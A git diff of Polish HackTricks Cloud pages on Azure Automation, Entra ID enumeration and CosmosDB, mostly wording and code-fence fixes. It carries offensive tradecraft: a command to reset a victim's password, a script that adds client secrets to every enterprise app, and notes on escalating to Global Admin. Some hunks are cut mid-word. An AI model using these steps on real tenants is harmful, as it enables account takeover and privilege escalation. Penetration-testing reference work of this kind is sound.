> Jak wskazano w [dokumentacji](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Konfiguracja Stanu Automatyzacji Azure zostanie wycofana 30 września 2027 roku i zastąpiona przez [Konfigurację Maszyn Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
||||
|
||||
Konta Automatyzacji również wspierają **Konfigurację Stanu (SC)**, która jest funkcją pomagającą w **konfigurowaniu** i **utrzymywaniu** **stanu** Twoich VM. Możliwe jest **tworzenie** i **stosowanie** konfiguracji DSC do **maszyn Windows** i **Linux**.
|
||||
Konta Automatyzacji wspierają również **Konfigurację Stanu (SC)**, która jest funkcją pomagającą w **konfigurowaniu** i **utrzymywaniu** **stanu** Twoich VM. Możliwe jest **tworzenie** i **stosowanie** konfiguracji DSC do **maszyn Windows** i **Linux**.
|
||||
|
||||
Z perspektywy atakującego to było interesujące, ponieważ pozwalało na **wykonywanie dowolnego kodu PS we wszystkich skonfigurowanych VM**, co pozwalało na eskalację uprawnień do zarządzanych tożsamości tych VM, potencjalnie pivotując do nowych sieci... Ponadto, konfiguracje mogły zawierać **wrażliwe informacje**.
|
||||
Z perspektywy atakującego było to interesujące, ponieważ pozwalało na **wykonywanie dowolnego kodu PS we wszystkich skonfigurowanych VM**, co pozwalało na eskalację uprawnień do zarządzanych tożsamości tych VM, potencjalnie pivotując do nowych sieci... Ponadto konfiguracje mogły zawierać **wrażliwe informacje**.
|
||||
|
||||
## Enumeracja
|
||||
```bash
|
||||
@@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resourc
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
|
||||
```
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Azure Active Directory (Azure AD) jest usługą opartą na chmurze firmy Microsoft do zarządzania tożsamością i dostępem. Jest kluczowa w umożliwieniu pracownikom logowania się i uzyskiwania dostępu do zasobów, zarówno wewnątrz, jak i poza organizacją, obejmując Microsoft 365, portal Azure oraz wiele innych aplikacji SaaS. Projekt Azure AD koncentruje się na dostarczaniu podstawowych usług tożsamości, w tym **uwierzytelniania, autoryzacji i zarządzania użytkownikami**.
|
||||
Azure Active Directory (Azure AD) jest usługą opartą na chmurze firmy Microsoft do zarządzania tożsamością i dostępem. Jest kluczowa w umożliwieniu pracownikom logowania się i uzyskiwania dostępu do zasobów, zarówno w obrębie organizacji, jak i poza nią, obejmując Microsoft 365, portal Azure oraz wiele innych aplikacji SaaS. Projekt Azure AD koncentruje się na dostarczaniu podstawowych usług tożsamości, w tym **uwierzytelniania, autoryzacji i zarządzania użytkownikami**.
|
||||
|
||||
Kluczowe funkcje Azure AD obejmują **uwierzytelnianie wieloskładnikowe** i **dostęp warunkowy**, a także bezproblemową integrację z innymi usługami zabezpieczeń Microsoft. Te funkcje znacznie podnoszą bezpieczeństwo tożsamości użytkowników i umożliwiają organizacjom skuteczne wdrażanie i egzekwowanie polityk dostępu. Jako fundamentalny element ekosystemu usług chmurowych Microsoft, Azure AD jest kluczowy dla zarządzania tożsamościami użytkowników w chmurze.
|
||||
|
||||
@@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Mg" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Login Open browser
|
||||
Connect-MgGraph
|
||||
|
||||
@@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg*
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
Connect-AzAccount #Open browser
|
||||
# Using credentials
|
||||
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
||||
@@ -104,7 +104,7 @@ Get-Command *az*
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw PS" }}
|
||||
```powershell
|
||||
```bash
|
||||
#Using management
|
||||
$Token = 'eyJ0eXAi..'
|
||||
# List subscriptions
|
||||
@@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
Connect-AzureAD #Open browser
|
||||
# Using credentials
|
||||
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
||||
@@ -149,12 +149,12 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Kiedy **logujesz się** za pomocą **CLI** do Azure z dowolnego programu, używasz **Aplikacji Azure** z **dzierżawy**, która należy do **Microsoft**. Te Aplikacje, podobnie jak te, które możesz stworzyć w swoim koncie, **mają identyfikator klienta**. **Nie będziesz w stanie zobaczyć ich wszystkich** na **listach dozwolonych aplikacji**, które możesz zobaczyć w konsoli, **ale są dozwolone domyślnie**.
|
||||
Kiedy **logujesz się** za pomocą **CLI** do Azure z dowolnym programem, używasz **Aplikacji Azure** z **dzierżawy**, która należy do **Microsoftu**. Te Aplikacje, podobnie jak te, które możesz stworzyć w swoim koncie, **mają identyfikator klienta**. **Nie będziesz w stanie zobaczyć ich wszystkich** na **listach dozwolonych aplikacji**, które możesz zobaczyć w konsoli, **ale są dozwolone domyślnie**.
|
||||
|
||||
Na przykład **skrypt powershell**, który **uwierzytelnia**, używa aplikacji z identyfikatorem klienta **`1950a258-227b-4e31-a9cf-717495945fc2`**. Nawet jeśli aplikacja nie pojawia się w konsoli, administrator systemu może **zablokować tę aplikację**, aby użytkownicy nie mogli uzyskać dostępu za pomocą narzędzi, które łączą się przez tę aplikację.
|
||||
Na przykład **skrypt powershell**, który **autoryzuje**, używa aplikacji z identyfikatorem klienta **`1950a258-227b-4e31-a9cf-717495945fc2`**. Nawet jeśli aplikacja nie pojawia się w konsoli, administrator systemu może **zablokować tę aplikację**, aby użytkownicy nie mogli uzyskać dostępu za pomocą narzędzi, które łączą się przez tę aplikację.
|
||||
|
||||
Jednak istnieją **inne identyfikatory klientów** aplikacji, które **pozwolą ci połączyć się z Azure**:
|
||||
```powershell
|
||||
Jednak istnieją **inne identyfikatory klienta** aplikacji, które **pozwolą ci połączyć się z Azure**:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
$token = Invoke-Authorize -Credential $credential `
|
||||
@@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Enumerate Users
|
||||
Get-AzureADUser -All $true
|
||||
Get-AzureADUser -All $true | select UserPrincipalName
|
||||
@@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Enumerate users
|
||||
Get-AzADUser
|
||||
# Get details of a user
|
||||
@@ -295,12 +295,12 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
{{#endtabs }}
|
||||
|
||||
#### Zmień hasło użytkownika
|
||||
```powershell
|
||||
```bash
|
||||
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
### MFA i Polityki Dostępu Warunkowego
|
||||
### MFA & Polityki dostępu warunkowego
|
||||
|
||||
Zaleca się dodanie MFA do każdego użytkownika, jednak niektóre firmy mogą tego nie ustawić lub mogą ustawić to z dostępem warunkowym: Użytkownik będzie **wymagał MFA, jeśli** zaloguje się z określonej lokalizacji, przeglądarki lub **jakiegoś warunku**. Te polityki, jeśli nie są skonfigurowane poprawnie, mogą być podatne na **obejścia**. Sprawdź:
|
||||
|
||||
@@ -318,7 +318,7 @@ Aby uzyskać więcej informacji na temat grup Entra ID, sprawdź:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Enumerate groups
|
||||
az ad group list
|
||||
az ad group list --query "[].[displayName]" -o table
|
||||
@@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true -
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Enumerate Groups
|
||||
Get-AzureADGroup -All $true
|
||||
# Get info of 1 group
|
||||
@@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get all groups
|
||||
Get-AzADGroup
|
||||
# Get details of a group
|
||||
@@ -394,27 +394,11 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
|
||||
#### Dodaj użytkownika do grupy
|
||||
|
||||
Właściciele grupy mogą dodawać nowych użytkowników do grupy
|
||||
```powershell
|
||||
```bash
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Grupy mogą być dynamiczne, co zasadniczo oznacza, że **jeśli użytkownik spełnia określone warunki, zostanie dodany do grupy**. Oczywiście, jeśli warunki opierają się na **atrybutach**, które **użytkownik** może **kontrolować**, może nadużyć tej funkcji, aby **dostać się do innych grup**.\
|
||||
> Sprawdź, jak nadużyć dynamicznych grup na następującej stronie:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
### Service Principals
|
||||
|
||||
Aby uzyskać więcej informacji na temat głównych zasad Entra ID, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
> Grupy mogą być dynamiczne, co zasadniczo oznacza, że **jeśli użytkownik spełnia określone warunki, zostanie dodany do grupy**. Oczywiście, jeśli warunki opierają się na **atry
|
||||
```bash
|
||||
# Get Service Principals
|
||||
az ad sp list --all
|
||||
@@ -434,7 +418,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get Service Principals
|
||||
Get-AzureADServicePrincipal -All $true
|
||||
# Get details about a SP
|
||||
@@ -455,7 +439,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get SPs
|
||||
Get-AzADServicePrincipal
|
||||
# Get info of 1 SP
|
||||
@@ -468,7 +452,7 @@ Get-AzRoleAssignment -ServicePrincipalName <String>
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw" }}
|
||||
```powershell
|
||||
```bash
|
||||
$Token = 'eyJ0eX..'
|
||||
$URI = 'https://graph.microsoft.com/v1.0/applications'
|
||||
$RequestParams = @{
|
||||
@@ -488,8 +472,8 @@ Headers = @{
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lista i próba dodania tajnego klucza klienta do każdej aplikacji korporacyjnej</summary>
|
||||
```powershell
|
||||
<summary>Lista i próba dodania tajnego klucza do każdej aplikacji korporacyjnej</summary>
|
||||
```bash
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
{
|
||||
@@ -595,7 +579,7 @@ Write-Output "Failed to Enumerate the Applications."
|
||||
|
||||
### Aplikacje
|
||||
|
||||
Aby uzyskać więcej informacji o Aplikacjach, sprawdź:
|
||||
Aby uzyskać więcej informacji na temat Aplikacji, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -604,7 +588,7 @@ Aby uzyskać więcej informacji o Aplikacjach, sprawdź:
|
||||
Gdy aplikacja jest generowana, przyznawane są 2 typy uprawnień:
|
||||
|
||||
- **Uprawnienia** przyznane **Service Principal**
|
||||
- **Uprawnienia**, które **aplikacja** może mieć i używać **w imieniu użytkownika**.
|
||||
- **Uprawnienia**, które **aplikacja** może mieć i używać w **imieniu użytkownika**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -626,7 +610,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List all registered applications
|
||||
Get-AzureADApplication -All $true
|
||||
# Get details of an application
|
||||
@@ -639,7 +623,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get Apps
|
||||
Get-AzADApplication
|
||||
# Get details of one App
|
||||
@@ -653,14 +637,14 @@ Get-AzADAppCredential
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Aplikacja z uprawnieniem **`AppRoleAssignment.ReadWrite`** może **uzyskać dostęp do Global Admin** poprzez nadanie sobie roli.\
|
||||
> Aplikacja z uprawnieniem **`AppRoleAssignment.ReadWrite`** może **eskalować do Global Admin** poprzez nadanie sobie roli.\
|
||||
> Aby uzyskać więcej informacji [**sprawdź to**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> Tajny ciąg, który aplikacja używa do potwierdzenia swojej tożsamości podczas żądania tokena, to hasło aplikacji.\
|
||||
> Więc, jeśli znajdziesz to **hasło**, możesz uzyskać dostęp jako **service principal** **wewnątrz** **tenant**.\
|
||||
> Zauważ, że to hasło jest widoczne tylko w momencie generowania (możesz je zmienić, ale nie możesz go ponownie uzyskać).\
|
||||
> **Właściciel** **aplikacji** może **dodać hasło** do niej (aby mógł ją udawać).\
|
||||
> **Właściciel** **aplikacji** może **dodać hasło** do niej (aby mógł się nią podszyć).\
|
||||
> Logowania jako te service principals **nie są oznaczane jako ryzykowne** i **nie będą miały MFA.**
|
||||
|
||||
Możliwe jest znalezienie listy powszechnie używanych identyfikatorów aplikacji, które należą do Microsoft w [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
@@ -717,7 +701,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get role assignments on the subscription
|
||||
Get-AzRoleDefinition
|
||||
# Get Role definition
|
||||
@@ -729,7 +713,7 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get permissions over a resource using ARM directly
|
||||
$Token = (Get-AzAccessToken).Token
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
|
||||
@@ -801,7 +785,7 @@ az rest --method GET \
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get all available role templates
|
||||
Get-AzureADDirectoryroleTemplate
|
||||
# Get enabled roles (Assigned roles)
|
||||
@@ -828,7 +812,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Enumerate Devices
|
||||
Get-AzureADDevice -All $true | fl *
|
||||
# List all the active devices (and not the stale devices)
|
||||
@@ -876,7 +860,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AzureAD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get Administrative Units
|
||||
Get-AzureADMSAdministrativeUnit
|
||||
Get-AzureADMSAdministrativeUnit -Id <id>
|
||||
@@ -908,7 +892,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
|
||||
Zarządzanie Tożsamościami Uprzywilejowanymi (PIM) w Azure pomaga w **zapobieganiu nadmiernym uprawnieniom** przydzielanym użytkownikom bez potrzeby.
|
||||
|
||||
Jedną z głównych funkcji oferowanych przez PIM jest to, że pozwala na nieprzydzielanie ról do podmiotów, które są stale aktywne, ale czyni je **kwalifikowanymi na określony czas (np. 6 miesięcy)**. Następnie, gdy użytkownik chce aktywować tę rolę, musi o to poprosić, wskazując czas, na jaki potrzebuje uprawnienia (np. 3 godziny). Następnie **administrator musi zatwierdzić** prośbę.\
|
||||
Jedną z głównych funkcji oferowanych przez PIM jest to, że pozwala na nieprzydzielanie ról do podmiotów, które są stale aktywne, ale czyni je **uprawnionymi na określony czas (np. 6 miesięcy)**. Następnie, gdy użytkownik chce aktywować tę rolę, musi o to poprosić, wskazując czas, na jaki potrzebuje uprawnienia (np. 3 godziny). Następnie **administrator musi zatwierdzić** prośbę.\
|
||||
Należy zauważyć, że użytkownik będzie również mógł poprosić o **przedłużenie** czasu.
|
||||
|
||||
Ponadto, **PIM wysyła e-maile** za każdym razem, gdy uprzywilejowana rola jest przydzielana komuś.
|
||||
@@ -917,13 +901,13 @@ Ponadto, **PIM wysyła e-maile** za każdym razem, gdy uprzywilejowana rola jest
|
||||
|
||||
Gdy PIM jest włączone, możliwe jest skonfigurowanie każdej roli z określonymi wymaganiami, takimi jak:
|
||||
|
||||
- Maksymalny czas trwania (godziny) aktywacji
|
||||
- Wymagaj MFA przy aktywacji
|
||||
- Wymagaj kontekstu uwierzytelniania dostępu warunkowego
|
||||
- Wymagaj uzasadnienia przy aktywacji
|
||||
- Wymagaj informacji o bilecie przy aktywacji
|
||||
- Wymagaj zatwierdzenia do aktywacji
|
||||
- Maksymalny czas na wygaśnięcie kwalifikowanych przypisań
|
||||
- Maksymalny czas (godziny) aktywacji
|
||||
- Wymaganie MFA przy aktywacji
|
||||
- Wymaganie kontekstu uwierzytelniania dostępu warunkowego
|
||||
- Wymaganie uzasadnienia przy aktywacji
|
||||
- Wymaganie informacji o bilecie przy aktywacji
|
||||
- Wymaganie zatwierdzenia do aktywacji
|
||||
- Maksymalny czas na wygaśnięcie uprawnień
|
||||
- Wiele innych konfiguracji dotyczących tego, kiedy i komu wysyłać powiadomienia, gdy pewne działania mają miejsce z tą rolą
|
||||
|
||||
### Polityki Dostępu Warunkowego <a href="#title-text" id="title-text"></a>
|
||||
@@ -936,9 +920,9 @@ Sprawdź:
|
||||
|
||||
### Ochrona Tożsamości Entra <a href="#title-text" id="title-text"></a>
|
||||
|
||||
Ochrona Tożsamości Entra to usługa zabezpieczeń, która pozwala na **wykrywanie, gdy użytkownik lub logowanie jest zbyt ryzykowne** do zaakceptowania, umożliwiając **zablokowanie** użytkownika lub próby logowania.
|
||||
Ochrona Tożsamości Entra to usługa zabezpieczeń, która pozwala na **wykrywanie, gdy użytkownik lub logowanie jest zbyt ryzykowne** do zaakceptowania, co pozwala na **zablokowanie** użytkownika lub próby logowania.
|
||||
|
||||
Pozwala administratorowi skonfigurować ją do **blokowania** prób, gdy ryzyko wynosi "Niskie i wyżej", "Średnie i wyżej" lub "Wysokie". Chociaż domyślnie jest całkowicie **wyłączona**:
|
||||
Pozwala administratorowi skonfigurować ją tak, aby **blokowała** próby, gdy ryzyko jest "Niskie i wyższe", "Średnie i wyższe" lub "Wysokie". Chociaż domyślnie jest całkowicie **wyłączona**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -947,7 +931,7 @@ Pozwala administratorowi skonfigurować ją do **blokowania** prób, gdy ryzyko
|
||||
|
||||
### Ochrona Hasła Entra
|
||||
|
||||
Ochrona Hasła Entra ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) to funkcja zabezpieczeń, która **pomaga zapobiegać nadużywaniu słabych haseł poprzez blokowanie kont, gdy wystąpi kilka nieudanych prób logowania**.\
|
||||
Ochrona Hasła Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) to funkcja zabezpieczeń, która **pomaga zapobiegać nadużywaniu słabych haseł poprzez blokowanie kont, gdy wystąpi wiele nieudanych prób logowania**.\
|
||||
Pozwala również na **zabronienie niestandardowej listy haseł**, którą należy dostarczyć.
|
||||
|
||||
Może być **stosowana zarówno** na poziomie chmury, jak i w lokalnym Active Directory.
|
||||
@@ -956,7 +940,7 @@ Domyślny tryb to **Audyt**:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Odniesienia
|
||||
## Odnośniki
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# Az - CosmosDB
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -21,10 +21,10 @@ Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).
|
||||
|
||||
Azure Cosmos DB oferuje wiele API baz danych do modelowania danych ze świata rzeczywistego przy użyciu dokumentów, relacyjnych, klucz-wartość, grafowych i modeli danych kolumnowych, a te API to NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin i Table.
|
||||
|
||||
Jednym z kluczowych aspektów CosmosDB jest Azure Cosmos Account. **Azure Cosmos Account** działa jako punkt wejścia do baz danych. Konto określa kluczowe ustawienia, takie jak globalna dystrybucja, poziomy spójności i konkretne API, które ma być używane, takie jak NoSQL. Dzięki kontu możesz skonfigurować globalną replikację, aby zapewnić dostępność danych w wielu regionach dla niskiej latencji. Dodatkowo możesz wybrać poziom spójności, który równoważy wydajność i dokładność danych, z opcjami od silnej do ostatecznej spójności.
|
||||
Jednym z kluczowych aspektów CosmosDB jest Azure Cosmos Account. **Azure Cosmos Account** działa jako punkt wejścia do baz danych. Konto określa kluczowe ustawienia, takie jak globalna dystrybucja, poziomy spójności oraz konkretne API, które ma być używane, takie jak NoSQL. Dzięki kontu można skonfigurować globalną replikację, aby zapewnić dostępność danych w wielu regionach dla niskiej latencji. Dodatkowo można wybrać poziom spójności, który równoważy wydajność i dokładność danych, z opcjami od silnej do ostatecznej spójności.
|
||||
|
||||
### NoSQL (sql)
|
||||
API NoSQL Azure Cosmos DB to API oparte na dokumentach, które używa JSON jako formatu danych. Oferuje składnię zapytań podobną do SQL do zapytań obiektów JSON, co czyni je odpowiednim do pracy z danymi strukturalnymi i półstrukturalnymi. Punkt końcowy usługi to:
|
||||
API NoSQL Azure Cosmos DB to API oparte na dokumentach, które używa JSON jako formatu danych. Oferuje składnię zapytań podobną do SQL do zapytań obiektów JSON, co czyni go odpowiednim do pracy z danymi strukturalnymi i półstrukturalnymi. Punkt końcowy usługi to:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
@@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name <AccountName> --contai
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
```bash
|
||||
Get-Command -Module Az.CosmosD
|
||||
|
||||
# List all Cosmos DB accounts in a specified resource group.
|
||||
@@ -215,7 +215,7 @@ mongodb://<hostname>:<port>/<database>
|
||||
W MongoDB możesz utworzyć jedną lub więcej baz danych w ramach instancji. Każda baza danych służy jako logiczna grupa kolekcji i zapewnia granicę dla organizacji i zarządzania zasobami. Bazy danych pomagają oddzielić i zarządzać danymi logicznie, na przykład dla różnych aplikacji lub projektów.
|
||||
|
||||
#### Kolekcje
|
||||
Podstawową jednostką przechowywania danych w MongoDB jest kolekcja, która zawiera dokumenty i jest zaprojektowana do efektywnego zapytywania oraz elastycznego projektowania schematu. Kolekcje są elastycznie skalowalne i mogą obsługiwać operacje o wysokiej przepustowości w rozproszonym środowisku na wielu węzłach.
|
||||
Podstawową jednostką przechowywania danych w MongoDB jest kolekcja, która zawiera dokumenty i jest zaprojektowana do efektywnego zapytywania oraz elastycznego projektowania schematu. Kolekcje są elastycznie skalowalne i mogą obsługiwać operacje o wysokiej przepustowości w wielu węzłach w rozproszonym środowisku.
|
||||
|
||||
#### Enumeracja
|
||||
|
||||
@@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountNa
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
```bash
|
||||
Get-Command -Module Az.CosmosDB
|
||||
|
||||
# List all Cosmos DB accounts in a specified resource group.
|
||||
@@ -280,7 +280,7 @@ Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupNa
|
||||
|
||||
#### Połączenie
|
||||
|
||||
Tutaj hasło możesz znaleźć za pomocą kluczy lub metodą opisaną w sekcji privesc.
|
||||
Tutaj hasło można znaleźć za pomocą kluczy lub metodą opisaną w sekcji privesc.
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
@@ -338,7 +338,7 @@ print(f"Inserted document with ID: {result.inserted_id}")
|
||||
## Do Zrobienia
|
||||
|
||||
* Reszta bazy danych tutaj, tabele, cassandra, gremlin...
|
||||
* Zwróć uwagę na post eksploatacji "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" oraz definicje ról, ponieważ tutaj może być eskalacja uprawnień
|
||||
* Zwróć uwagę na post eksploatację "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" oraz definicje ról, ponieważ tutaj może być eskalacja uprawnień
|
||||
